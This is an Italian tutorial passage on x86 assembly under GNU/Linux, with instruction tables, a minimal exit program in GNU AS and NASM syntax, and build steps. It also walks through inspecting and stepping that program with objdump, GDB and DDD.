Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`JE`	***imm***	Dopo un confronto, indipendentemente dal segno, salta se la destinazione era uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** == ***org*** THEN go to ***imm***	`c p z s o` `· · t · ·`
`JNE`	***imm***	Dopo un confronto, indipendentemente dal segno, salta se la destinazione era diversa dall'origine. CMP ***dst***, ***org*** IF ***dst*** =/= ***org*** THEN go to ***imm***	`c p z s o` `· · t · ·`
`JG` `JNLE`	***imm***	Dopo un confronto con segno, salta se la destinazione era maggiore dell'origine. CMP ***dst***, ***org*** IF ***dst*** > ***org*** THEN go to ***imm***	`c p z s o` `· · t t t`
`JGE` `JNL`	***imm***	Dopo un confronto con segno, salta se la destinazione era maggiore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** >= ***org*** THEN go to ***imm***	`c p z s o` `· · t t t`
`JL` `JNGE`	***imm***	Dopo un confronto con segno, salta se la destinazione era minore dell'origine. CMP ***dst***, ***org*** IF ***dst*** < ***org*** THEN go to ***imm***	`c p z s o` `· · t t t`
`JLE` `JNG`	***imm***	Dopo un confronto con segno, salta se la destinazione era minore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** <= ***org*** THEN go to ***imm***	`c p z s o` `· · t t t`
`JC` `JNC`	***imm***	Salta se l'indicatore del riporto (*carry*), rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `t · · · ·`
`JO` `JNO`	***imm***	Salta se l'indicatore di traboccamento (*overflow*), rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· · · · t`
`JS` `JNS`	***imm***	Salta se l'indicatore di segno (*sign*), rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· · · t ·`
`JZ` `JNZ`	***imm***	Salta se l'indicatore di zero, rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· · t · ·`
`JP` `JNP`	***imm***	Salta se l'indicatore di parità, rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· t · · ·`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`JCXZ`	***imm***	Salta se il valore contenuto nel registro ***CX*** è pari a zero.	`c p z s o` `. . . . .`

Tabella 75.11. Impostazione del valore in base all'esito di un confronto.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`SETA` `SETNBE`	***reg8*** ***mem8***	Dopo un confronto di valori senza segno, imposta a uno il registro o la memoria indicati, se la destinazione era maggiore dell'origine. CMP ***dst***, ***org*** IF ***dst*** > ***org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `. . . . .`
`SETAE` `SETNB`	***reg8*** ***mem8***	Dopo un confronto di valori senza segno, imposta a uno il registro o la memoria indicati, se la destinazione era maggiore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** >= ***org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `. . . . .`
`SETB` `SETNAE`	***reg8*** ***mem8***	Dopo un confronto di valori senza segno, imposta a uno il registro o la memoria indicati, se la destinazione era minore dell'origine. CMP ***dst***, ***org*** IF ***dst*** < ***org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `. . . . .`
`SETBE` `SETNA`	***reg8*** ***mem8***	Dopo un confronto di valori senza segno, imposta a uno il registro o la memoria indicati, se la destinazione era minore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** <= ***org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `. . . . .`
`SETE`	***reg8*** ***mem8***	Dopo un confronto, indipendentemente dal segno, imposta a uno il registro o la memoria indicati, se la destinazione era uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** == ***org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `. . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`SETNE`	***reg8*** ***mem8***	Dopo un confronto, indipendentemente dal segno, imposta a uno il registro o la memoria indicati, se la destinazione era diversa dall'origine. CMP ***dst***, ***org*** IF ***dst =/= org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `· · · · ·`
`SETG` `SETNLE`	***reg8*** ***mem8***	Dopo un confronto con segno, imposta a uno il registro o la memoria indicati, se la destinazione era maggiore dell'origine. CMP ***dst***, ***org*** IF ***dst > org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `· · · · ·`
`SETGE` `SETNL`	***reg8*** ***mem8***	Dopo un confronto con segno, imposta a uno il registro o la memoria indicati, se la destinazione era maggiore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst >= org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `· · · · ·`
`SETL` `SETNGE`	***reg8*** ***mem8***	Dopo un confronto con segno, imposta a uno il registro o la memoria indicati, se la destinazione era minore dell'origine. CMP ***dst***, ***org*** IF ***dst < org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `· · · · ·`
`SETLE` `SETNG`	***reg8*** ***mem8***	Dopo un confronto con segno, imposta a uno il registro o la memoria indicati, se la destinazione era minore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst <= org*** THEN ***x***:=1 ELSE ***x***:=0	`c p z s o` `· · · · ·`
`SETC` `SETNC`	***reg8*** ***mem8***	Imposta a uno il registro o la memoria indicati, se l'indicatore del riporto (*carry*), rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `t · · · ·`
`SETO` `SETNO`	***reg8*** ***mem8***	Imposta a uno il registro o la memoria indicati, se l'indicatore di traboccamento (*overflow*), rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· · · · t`
`SETS` `SETNS`	***reg8*** ***mem8***	Imposta a uno il registro o la memoria indicati, se l'indicatore di segno (*sign*), rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· · · t ·`
`SETZ` `SETNZ`	***reg8*** ***mem8***	Imposta a uno il registro o la memoria indicati, se l'indicatore di zero, rispettivamente, è attivo, oppure non è attivo.	`c p z s o` `· · t · ·`

Tabella 75.12. Iterazioni

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`LOOP`	***imm8***	Senza alterare gli indicatori, decrementa di una unità il registro '**`ECX`**' (o solo '**`CX`**', se viene richiesta una dimensione più piccola), quindi, se il registro è ancora diverso da zero, salta all'indirizzo cui fa riferimento l'operando.	`c p z s o` `· · · · ·`
`LOOPE` `LOOPZ`	***imm8***	Senza alterare gli indicatori, decrementa di una unità il registro '**`ECX`**' (o solo '**`CX`**', se viene richiesta una dimensione più piccola), quindi, se il registro è ancora diverso da zero e l'indicatore «zero» è attivo, salta all'indirizzo cui fa riferimento l'operando.	`c p z s o` `· · t · ·`
`LOOPNE` `LOOPNZ`	***imm8***	Senza alterare gli indicatori, decrementa di una unità il registro '**`ECX`**' (o solo '**`CX`**', se viene richiesta una dimensione più piccola), quindi, se il registro è ancora diverso da zero e l'indicatore «zero» non è attivo, salta all'indirizzo cui fa riferimento l'operando.	`c p z s o` `· · t · ·`

75.4 Primo approccio al linguaggio assemblatore per x86

Per scrivere programmi con il linguaggio assemblatore in un sistema GNU/Linux, è necessario disporre del compilatore: serve GNU AS[1] (GAS) per la sintassi AT&T oppure NASM[2] per quella Intel.

75.4.1 Il primo programma

Viene mostrato il listato di un programma molto semplice, il cui scopo è unicamente quello di concludere il proprio funzionamento restituendo un valore, attraverso una funzione del sistema operativo. Ne vengono preparate due versioni: una adatta a GNU AS e l'altra per NASM.

Listato 75.13. File '`fine-gas.s`', adatto per GNU AS.

```
1   #
2   # fine-gas.s
3   #
4   .section .data
5   #
6   .section .text
7   .globl _start
8   #
9   _start:
10      mov  $1, %eax
11      mov  $7, %ebx
12      int  $0x80
```

Listato 75.14. File '`fine-nasm.s`', adatto per NASM.

```
1   ;
2   ; fine-nasm.s
3   ;
4   section .data
5   ;
6   section .text
7   global _start
8   ;
9   _start:
10      mov eax, 1
11      mov ebx, 7
12      int 0x80
```

Per compilare il file si genera prima un file oggetto, quindi si passa per il *linker* (il «collegatore»), ovvero il programma che collega i file oggetto che devono comporre il file eseguibile finale. Si comincia con il sorgente per GNU AS:

$ **`as -o fine-gas.o fine-gas.s`** [*Invio*]

$ **`ld -o fine-gas fine-gas.o`** [*Invio*]

Per quanto riguarda il sorgente per NASM:

$ **`nasm -f elf -o fine-nasm.o fine-nasm.s`** [*Invio*]

$ **`ld -o fine-nasm fine-nasm.o`** [*Invio*]

In entrambi gli esempi, viene generato un file oggetto in formato ELF (*Executable and linkable format*), cosa che deve essere richiesta esplicitamente nel secondo caso, mentre nel primo è implicita. Pertanto, come si vede, il programma '**`ld`**' viene usato sempre nello stesso modo.

Il programma generato ('**`fine-gas`**' o '**`fine-nasm`**') si limita a chiamare una funzione del sistema operativo, con la quale conclude il suo lavoro restituendo il valore numerico sette. Lo si può verificare ispezionando il parametro '**`$?`**' della shell:

$ **`./fine-gas`** [*Invio*]

$ **echo $?** [*Invio*]

```
7
```

I due programmi sono perfettamente uguali nel modo di disporsi nelle righe del file sorgente, pertanto vengono descritti senza fare distinzioni.

Le prime tre righe sono commenti, ignorati dal compilatore; la quarta riga contiene una direttiva per il compilatore che lo avverte dell'inizio della zona usata per descrivere l'uso della memoria (che in questo caso non viene usata affatto); la quinta riga è un altro commento; la sesta riga avverte il compilatore dell'inizio del codice del programma.

La settima riga serve ad avvisare il compilatore che il simbolo rappresentato dall'etichetta denominata '**_start**' individua l'indirizzo dell'istruzione iniziale da rendere pubblica, pertanto deve rimanere rintracciabile nel file oggetto generato dalla compilazione. L'ottava riga è un altro commento e la nona riga dichiara il simbolo '**_start**' già nominato.

Per il compilatore, l'etichetta '**_start**' indica convenzionalmente il punto di inizio del programma e il simbolo corrispondente deve essere reso pubblico, perché '**ld**' deve sapere da che parte si comincia (soprattutto quando più file oggetto si collegano assieme in un solo eseguibile).

Nella decima riga si assegna il valore uno al registro ***EAX*** e nell'undicesima si assegna il valore sette al registro ***EBX***; infine, nell'ultima riga, si esegue un'interruzione all'indirizzo 80_{16}. In pratica, le ultime tre righe servono a eseguire la chiamata di una funzione del sistema operativo. La funzione è individuata dal numero uno che deve essere collocato nel registro ***EAX*** e il parametro, rappresentato dal valore di uscita, da collocare nel registro ***EBX***. La chiamata effettiva avviene con l'interruzione all'indirizzo 80_{16}.

Dopo aver compilato il programma e ottenuto il file eseguibile, si può dare un'occhiata al suo contenuto con l'aiuto di Objdump:[3]

$ **objdump --disassemble fine-gas** [*Invio*]

```
fine-gas:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:       b8 01 00 00 00          mov    $0x1,%eax
 8048079:       bb 07 00 00 00          mov    $0x7,%ebx
 804807e:       cd 80                   int    $0x80
```

Usato in questo modo, Objdump disassembla il programma e mostra anche le istruzioni nel linguaggio macchina vero e proprio, con gli indirizzi di memoria virtuale che verrebbero utilizzati durante il funzionamento. Eventualmente si può richiedere espressamente di disassemblare utilizzando una notazione Intel:

$ **objdump --disassemble -M intel fine-gas** [*Invio*]

```
fine-gas:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:       b8 01 00 00 00          mov    eax,0x1
 8048079:       bb 07 00 00 00          mov    ebx,0x7
 804807e:       cd 80                   int    0x80
```

75.4.2 Utilizzo di GDB

Per poter iniziare lo studio di un linguaggio assemblatore è praticamente indispensabile saper utilizzare un *debugger*, ovvero uno strumento che permetta di eseguire passo per passo il proprio programma, consentendo di verificare lo stato dei registri ed eventualmente della memoria. Infatti, con un linguaggio assemblatore, operazioni «semplici» come l'emissione di informazioni attraverso lo schermo diventano invece molto complicate.

Nei sistemi GNU è disponibile GDB (GNU debugger)[4]. Per capire come utilizzarlo, si prenda nuovamente l'esempio di programma introduttivo, aggiungendo qualche piccola modifica:

```
1   #
2   # fine-gas.s
3   #
4   .section .data
5   #
6   .section .text
7   .globl _start
8   #
9   _start:
10      mov  $1, %eax
11  bp1:
12      mov  $7, %ebx
13  bp2:
14      int  $0x80
```

```
1  ;
2  ; fine-nasm.s
3  ;
4  segment .data
5  ;
6  segment .text
7  global _start
8  ;
9  _start:
10     mov eax, 1
11 bp1:
12     mov ebx, 7
13 bp2:
14     int 0x80
```

Rispetto al file originale sono state aggiunge due etichette, '**bp1**' e '**bp2**' (il cui nome è stato scelto arbitrariamente, ma in questo caso ricorda il termine *breakpoint*), collocate tra le istruzioni che si traducono in codici del linguaggio macchina. Naturalmente, il file va ricompilato nel modo già descritto; poi, una volta ottenuto il file eseguibile, lo si avvia all'interno di GDB:

$ **gdb fine-gas** [*Invio*]

```
GNU gdb 6.5-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

A questo punto GDB presenta un invito, dal quale è possibile inserire dei comandi in modo interattivo.

(gdb)

Di solito, la prima cosa da fare consiste nel definire degli «stop» (*breakpoint*), dove il programma deve essere fermato automaticamente. È per questa ragione che sono state aggiunte delle etichette nel sorgente: per poter associare a quei simboli dei punti di sospensione dell'esecuzione.

(gdb) **break bp1** [*Invio*]

```
Breakpoint 1 at 0x8048079
```

(gdb) **break bp2** [*Invio*]

```
Breakpoint 2 at 0x804807e
```

Una volta fissati gli stop, si può «avviare» il programma, che viene così sospeso in corrispondenza del primo di questi punti:

```
(gdb) run [Invio]
```

```
Starting program: /home/tizio/fine-gas
(no debugging symbols found)

Breakpoint 1, 0x08048079 in bp1 ()
```

Si ispezionano i registri:

```
(gdb) info registers [Invio]
```

```
eax            0x1      1
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xbff50080       0xbff50080
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x8048079        0x8048079 <bp1>
eflags         0x292    [ AF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

Si può verificare che il registro ***EAX*** contiene il valore uno, come dovrebbe effettivamente in questa posizione. Per far proseguire il programma fino al prossimo stop si usa il comando '**`continue`**':

```
(gdb) continue [Invio]
```

```
Breakpoint 2, 0x0804807e in bp2 ()
```

Si ispezionano nuovamente i registri:

```
(gdb) info registers [Invio]
```

```
eax            0x1      1
ecx            0x0      0
edx            0x0      0
ebx            0x7      7
esp            0xbfcefe20       0xbfcefe20
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x804807e        0x804807e <bp2>
eflags         0x292    [ AF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

Si può vedere che a questo punto il registro ***EBX*** risulta impostato con il valore previsto. Si lascia concludere il programma e si termina l'attività con GDB:

(gdb) **continue** [*Invio*]

```
Continuing.

Program exited with code 07.
```

(gdb) **quit** [*Invio*]

Il procedimento descritto vale per il programma compilato nel modo «normale», sia attraverso GNU AS, sia attraverso NASM. Ma per avere una visione più chiara di ciò che si fa, occorre abbinare il sorgente originale. Questo può essere fatto con GNU AS, utilizzando l'opzione '**--gstabs**', oppure con NASM mettendo l'opzione '**-g**'. Qui si mostra solo il caso di GNU AS:

$ **as --gstabs -o fine-gas.o fine-gas.s** [*Invio*]

$ **ld -o fine-gas fine-gas.o** [*Invio*]

$ **gdb fine-gas** [*Invio*]

```
GNU gdb 6.5-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

(gdb) **break bp1** [*Invio*]

```
Breakpoint 1 at 0x8048079: file fine-gas.s, line 12.
```

(gdb) **break bp2** [*Invio*]

```
Breakpoint 2 at 0x804807e: file fine-gas.s, line 14.
```

(gdb) **run** [*Invio*]

```
Starting program: /home/tizio/fine-gas

Breakpoint 1, bp1 () at fine-gas.s:12
12          mov  $7, %ebx
Current language:  auto; currently asm
```

Come si vede dall'esempio, si ottengono più informazioni collegate al sorgente originale; in particolare si può sapere qual è la prossima istruzione che verrebbe eseguita. Questa volta si decide di procedere eseguendo un'istruzione alla volta, con il comando '**stepi**':

(gdb) **stepi** [*Invio*]

```
bp2 () at fine-gas.s:14
14          int  $0x80
```

Dato che il programma è molto breve, con la prossima istruzione si va a concluderne il funzionamento:

(gdb) **stepi** [*Invio*]

```
Program exited with code 07.
```

(gdb) **quit** [*Invio*]

Tabella 75.34. Alcuni comandi interattivi per GDB.

Comando	Descrizione
`set args` ***argomento***...	Definisce gli argomenti della riga di comando del programma.
`r` [***argomento***]... `run` [***argomento***]...	Avvia l'esecuzione del programma, eventualmente con gli argomenti indicati.
`b` ***funzione*** `break` ***funzione***	Definisce uno stop all'esecuzione del programma in corrispondenza del simbolo indicata. Questo simbolo viene definito precisamente «funzione» in quanto riguarda la zona che descrive le istruzioni del programma e non quelle dei dati.
`b` ***riga*** `break` ***riga***	Definisce uno stop all'esecuzione del programma in corrispondenza della riga indicata, riferita al file sorgente. Per poter usare questo comando occorre compilare il programma con i riferimenti al file sorgente.
`cl` [***funzione***] `clear` [***funzione***]	Elimina uno stop associato a un certo simbolo, oppure, se c'è, elimina quello della posizione corrente.

Comando	Descrizione
`cl` ***riga*** `clear` ***riga***	Elimina uno stop associato alla riga indicata.
`d` [***n***]... `disable` [***n***]...	Disabilita gli stop indicati per numero, o tutti se non ne viene indicato alcuno.
`enable` [***n***]...	Riabilita gli stop indicati per numero, o tutti se non ne viene indicato alcuno.
`d` [***n***]... `delete` [***n***]...	Elimina gli stop indicati per numero, o tutti se non ne viene indicato alcuno.
`si` `stepi`	Esegue la prossima istruzione-macchina e poi si ferma nuovamente. Se l'istruzione è una chiamata di funzione, passa all'inizio della stessa.
`ni` `nexti`	Esegue la prossima istruzione-macchina e poi si ferma nuovamente. **Se l'istruzione è una chiamata di funzione, questa viene saltata.**
`c` `continue`	Riprende l'esecuzione di un programma dopo uno stop (che può poi fermarsi nuovamente allo stop successivo, se c'è).
`kill`	Interrompe definitivamente l'esecuzione del programma.
`i r` `info registers`	Mostra lo stato dei registri.
`bt` `backtrace`	Mostra lo stato della pila, precisamente mostra gli elementi che compongono lo *stack frame*.
`p` [/***f***] [(***tipo***)] ***variabile*** `print` [/***f***] [(***tipo***)] ***variabile***	Mostra il valore contenuto in memoria, in corrispondenza del simbolo specificato (***variabile***). Se non si tratta di una variabile scalare di dimensione «standard», occorre specificarne il formato, tra parentesi tonde, esattamente prima del nome; se si vuole visualizzare il valore contenuto nella variabile in modo diverso da quello predefinito, occorre aggiungere l'opzione '`/`***f***', dove la lettera ***f*** specifica il tipo di rappresentazione.
`p /`***f*** (***tipo***[***n***]) ***variabile*** `print /`***f*** (***tipo***[***n***]) ***variabile***	Se nella definizione del formato si mette un valore numerico tra parentesi quadre, si intende visualizzare ***n*** valori di quel tipo a partire dalla posizione indicata dal nome della variabile. Ciò consente di visualizzare il contenuto di un array.

75.4.3 Modalità «TUI»

GDB, se è stato compilato per includere tale funzionalità, può essere usato con l'opzione '**-tui**', con la quale si ottiene una suddivisione dello schermo in finestre:

$ **gdb -tui fine-gas** [*Invio*]

```
   +--fine-gas.s---------------------------------------------------------------+
   |10         mov  $1, %eax                                                   |
   |11      bp1:                                                               |
   |12         mov  $7, %ebx                                                   |
   |13      bp2:                                                               |
   |14         int  $0x80                                                      |
   |15                                                                         |
   |16                                                                         |
   |17                                                                         |
   |18                                                                         |
   |19                                                                         |
   |20                                                                         |
   |21                                                                         |
   |22                                                                         |
   |23                                                                         |
   +---------------------------------------------------------------------------+
exec No process In:                                         Line: ??   PC: 0x0
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
lib/tls/libthread_db.so.1".
```

(gdb) **break bp1** [*Invio*]

(gdb) **break bp2** [*Invio*]

```
   +--fine-gas.s---------------------------------------------------------------+
   |10          mov  $1, %eax                                                  |
   |11      bp1:                                                               |
b+ |12          mov  $7, %ebx                                                  |
   |13      bp2:                                                               |
b+ |14          int  $0x80                                                     |
   |15                                                                         |
   |16                                                                         |
   |17                                                                         |
   |18                                                                         |
   |19                                                                         |
   |20                                                                         |
   |21                                                                         |
   |22                                                                         |
   |23                                                                         |
   +---------------------------------------------------------------------------+
exec No process In:                                          Line: ??   PC: 0x0
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
lib/tls/libthread_db.so.1".

(gdb) break bp1
Breakpoint 1 at 0x8048079: file fine-gas.s, line 12.
(gdb) break bp2
Breakpoint 2 at 0x804807e: file fine-gas.s, line 14.
```

(gdb) **run** [*Invio*]

```
   +--fine-gas.s---------------------------------------------------------------+
   |10          mov  $1, %eax                                                  |
   |11      bp1:                                                               |
B+>|12          mov  $7, %ebx                                                  |
   |13      bp2:                                                               |
b+ |14          int  $0x80                                                     |
   |15                                                                         |
   |16                                                                         |
   |17                                                                         |
   |18                                                                         |
   |19                                                                         |
   |20                                                                         |
   |21                                                                         |
   |22                                                                         |
   |23                                                                         |
   +---------------------------------------------------------------------------+
child process 9699 In: bp1                              Line: 12   PC: 0x8048079
(gdb) break bp2
Breakpoint 2 at 0x804807e: file fine-gas.s, line 14.
(gdb) run
Starting program: /home/tizio/fine-gas

Breakpoint 1, bp1 () at fine-gas.s:12
Current language:  auto; currently asm
```

Durante il funzionamento si può anche attivare una finestra con lo stato dei registri, attraverso

il comando '**layout reg**':

(gdb) **layout reg** [*Invio*]

```
+--Register group: general------------------------------------------------------+
|eax            0x1      1                                                      |
|ecx            0x0      0                                                      |
|edx            0x0      0                                                      |
|ebx            0x0      0                                                      |
|esp            0xbfa77b90       0xbfa77b90                                     |
|ebp            0x0      0x0                                                    |
+-------------------------------------------------------------------------------+
   |10          mov  $1, %eax                                                   |
   |11      bp1:                                                                |
B+>|12          mov  $7, %ebx                                                   |
   |13      bp2:                                                                |
b+ |14          int  $0x80                                                      |
   |15                                                                          |
   |16                                                                          |
   +----------------------------------------------------------------------------+
child process 9699 In: bp1                              Line: 12   PC: 0x8048079
Breakpoint 2 at 0x804807e: file fine-gas.s, line 14.
(gdb) run
Starting program: /home/tizio/fine-gas

Breakpoint 1, bp1 () at fine-gas.s:12
Current language:  auto; currently asm
(gdb) layout reg
```

(gdb) **quit** [*Invio*]

Durante il funzionamento normale di GDB, se è prevista tale modalità di funzionamento, questa può essere attivata anche con la combinazione di tasti [*Ctrl x*][*a*].

75.4.4 Utilizzo di DDD

GDB è lo strumento fondamentale per il controllo del funzionamento di un programma, ma al suo fianco se ne possono aggiungere altri che consentono di avere una visione più «semplice». Per esempio, DDD,[5] ovvero *Data display debugger* è un programma frontale che si avvale di GDB, ma lo fa attraverso un'interfaccia grafica che consente di tenere sotto controllo più cose, simultaneamente.

$ **ddd fine-gas** [*Invio*]

Prendendo lo stesso esempio di programma già usato nella sezione precedente, compilato in modo da avere i riferimenti al sorgente, ecco come si può presentare DDD dopo che sono stati fissati gli stop e dopo che il programma è stato avviato, in modo che si arresti al primo di questi:

File Edit View Program Commands Status Source Data Help

(): /x $esp

```
 1 #
 2 # fine-gas.s
 3 #
 4 .section .data
 5 #
 6 .section .text
 7 .globl _start
 8 #
 9 _start:
10       mov   $1, %eax
11 bp1:
12       mov   $7, %ebx
13 bp2:
14       int   $0x80
```

Run | Interrupt | Step | Stepi | Next | Nexti | Until | Finish | Cont | Kill | Up | Down | Undo | Redo | Edit | Make

Registers

eax	0x1	1
ecx	0x0	0
edx	0x0	0
ebx	0x0	0
esp	0xbfa3ca00	0xbfa
ebp	0x0	0x0
esi	0x0	0
edi	0x0	0
eip	0x8048079	0x804
eflags	0x200292	[AF
cs	0x73	115
ss	0x7b	123

Integer registers — All registers

Close — Help

```
Dump of assembler code for function bp1:
   0x08048079 <bp1+0>:     mov    $0x7,%ebx
End of assembler dump.
```

```
(gdb) run

Breakpoint 1, bp1 () at fine-gas.s:12
Current language:  auto; currently asm
(gdb)
```

Showing integer registers only.

Ecco la situazione al livello del secondo stop:

75.4.5 Alcune istruzioni comuni

Le istruzioni del linguaggio assemblatore che si traducono direttamente in istruzioni del linguaggio macchina hanno una forma uniforme: un nome mnemonico seguito dagli operandi.

mnemonico operando [, ***operando***] ...

Per esempio, l'istruzione seguente sottrae il valore contenuto nel registro ***EAX*** da quello di ***EBX***, mettendo il risultato nel registro ***EBX*** (***EBX***=***EBX***-***EAX***):

GNU AS
```
sub %eax, %ebx
```

NASM
```
sub ebx, eax
```

In questo caso il nome mnemonico è '**`SUB`**', mentre i nomi dei registri sono gli operandi (eventualmente, il codice corrispondente in linguaggio macchina sarebbe $29C3_{16}$). Nelle sezioni successive si descrivono alcune istruzioni comuni.

75.4.5.1 MOV

L'istruzione '**MOV**' serve a copiare il contenuto dell'origine nella destinazione. Gli operandi possono essere registri, aree di memoria e costanti numeriche, tenendo conto che le costanti numeriche possono figurare solo nell'origine e che si può fare riferimento ad aree di memoria in una sola posizione (nell'origine o nella destinazione).

GNU AS **mov** ***origine*, *destinazione***

NASM **mov** ***destinazione*, *origine***

L'esempio seguente copia il contenuto del registro ***EAX*** all'interno di ***EBX***:

GNU AS
```
mov %eax, %ebx
```

NASM
```
mov ebx, eax
```

75.4.5.2 ADD

L'istruzione '**ADD**' serve a eseguire la somma di valori interi, con o senza segno. Gli operandi possono essere registri, aree di memoria e costanti numeriche, tenendo conto che le costanti numeriche possono figurare solo nell'origine e che si può fare riferimento ad aree di memoria in una sola posizione: nell'origine o nella destinazione.

GNU AS **add** ***origine*, *destinazione***

NASM **add** ***destinazione*, *origine***

L'esempio seguente aggiunge al registro ***EAX*** una unità:

GNU AS
```
add $1, %eax
```

NASM
```
add eax, 1
```

75.4.5.3 SUB

L'istruzione '**SUB**' serve a eseguire la sottrazione di valori interi, con o senza segno. Gli operandi possono essere registri, aree di memoria e costanti numeriche, tenendo conto che le costanti numeriche possono figurare solo nell'origine e che si può fare riferimento ad aree di memoria in una sola posizione: nell'origine o nella destinazione.

GNU AS **sub** ***origine*, *destinazione***

NASM **sub** ***destinazione*, *origine***

L'esempio seguente sottrae il valore del registro ***EAX*** da quello di ***EBX***, mettendo il risultato in ***EBX***:

GNU AS
```
sub %eax, %ebx
```

NASM
```
sub ebx, eax
```

75.4.5.4 INC e DEC

Le istruzioni '**INC**' e '**DEC**' servono, rispettivamente, a incrementare e a decrementare di una unità il valore dell'operando, che può essere un registro o un'area di memoria. Dal momento che c'è un solo operando, non c'è differenza tra la sintassi di GNU AS e di NASM per quanto riguarda l'ordine degli stessi:

inc ***destinazione***

dec ***destinazione***

I due esempi seguenti, rispettivamente, incrementano e decrementano di una unità il valore del registro ***EAX***:

- GNU AS **inc %eax**

  NASM **inc eax**

- GNU AS **dec %eax**

  NASM **dec eax**

75.4.6 Dimensione dei dati nelle istruzioni

Di norma, nelle istruzioni che elaborano dati, come quelle descritte nelle sezioni precedenti, se un registro si trova a essere origine o destinazione di qualcosa, implicitamente si intende che i dati debbano essere della sua dimensione. Per esempio, scrivendo '**mov $1, %eax**' si intende che la costante numerica sia precisamente $0000\ 0001_{16}$ (ovvero $0000\ 0000\ 0000\ 0000\ 0000\ 0000\ 0000\ 0001_2$), perché la destinazione è da 32 bit.

Quando il contesto non è sufficiente a stabilire di quanti bit deve essere fatto il valore che si elabora, l'istruzione va precisata. Nel caso di GNU AS si aggiunge un suffisso al nome mnemonico che distingue l'operazione, suffisso che è composto da una sola lettera. Per esempio, '**mov**' diventa '**movl**' per chiarire che si tratta di dati da 32 bit. Nel caso di NASM si aggiunge una parola chiave dopo il nome mnemonico.

Tabella 75.41. Suffissi per precisare la quantità di bit coinvolti nelle istruzioni, secondo la sintassi di GNU AS. Negli esempi, '**mem**' è il nome di un simbolo (un'etichetta) che rappresenta un indirizzo di memoria.

Suffisso	Significato	Dimensione in bit	Esempi
`b`	byte	8 bit	**mov $1 %al** **movb $1 mem** **pushb mem**
`w`	*word*	16 bit	**mov $1 %ax** **movw $1 mem** **pushw mem**
`l`	*long*	32 bit	**mov $1 %eax** **movl $1 mem** **pushl mem**

Tabella 75.42. Parole chiave per precisare la quantità di bit coinvolti nelle istruzioni, secondo la sintassi di NASM. Negli esempi, '**`mem`**' è un simbolo che rappresenta un indirizzo di memoria.

Parola chiave	Dimensione in bit	Esempi
`byte`	8 bit	**`mov al, 1`** **`mov byte [mem], 1`** **`push byte [mem]`**
`word`	16 bit	**`mov ax, 1`** **`mov word ax, 1`** **`mov word [mem], 1`** **`push word [mem]`**
`long`	32 bit	**`mov eax, 1`** **`mov long [mem], 1`** **`push long [mem]`**

75.4.7 Direttive per il compilatore

Nel sorgente in linguaggio assemblatore è possibile inserire delle direttive (o pseudoistruzioni) che il compilatore può interpretare per la costruzione corretta del file oggetto. Si usano queste direttive in particolare per definire delle costanti e delle aree di memoria.

75.4.7.1 Commenti

Le righe vuote e quelle bianche vengono ignorate dal compilatore; inoltre, è possibile inserire dei commenti preceduti da un carattere che viene riconosciuto come prefisso, con il quale si annulla il significato di ciò che appare da quel punto fino alla fine della riga:

GNU AS **#*commento***

NASM **; *commento***

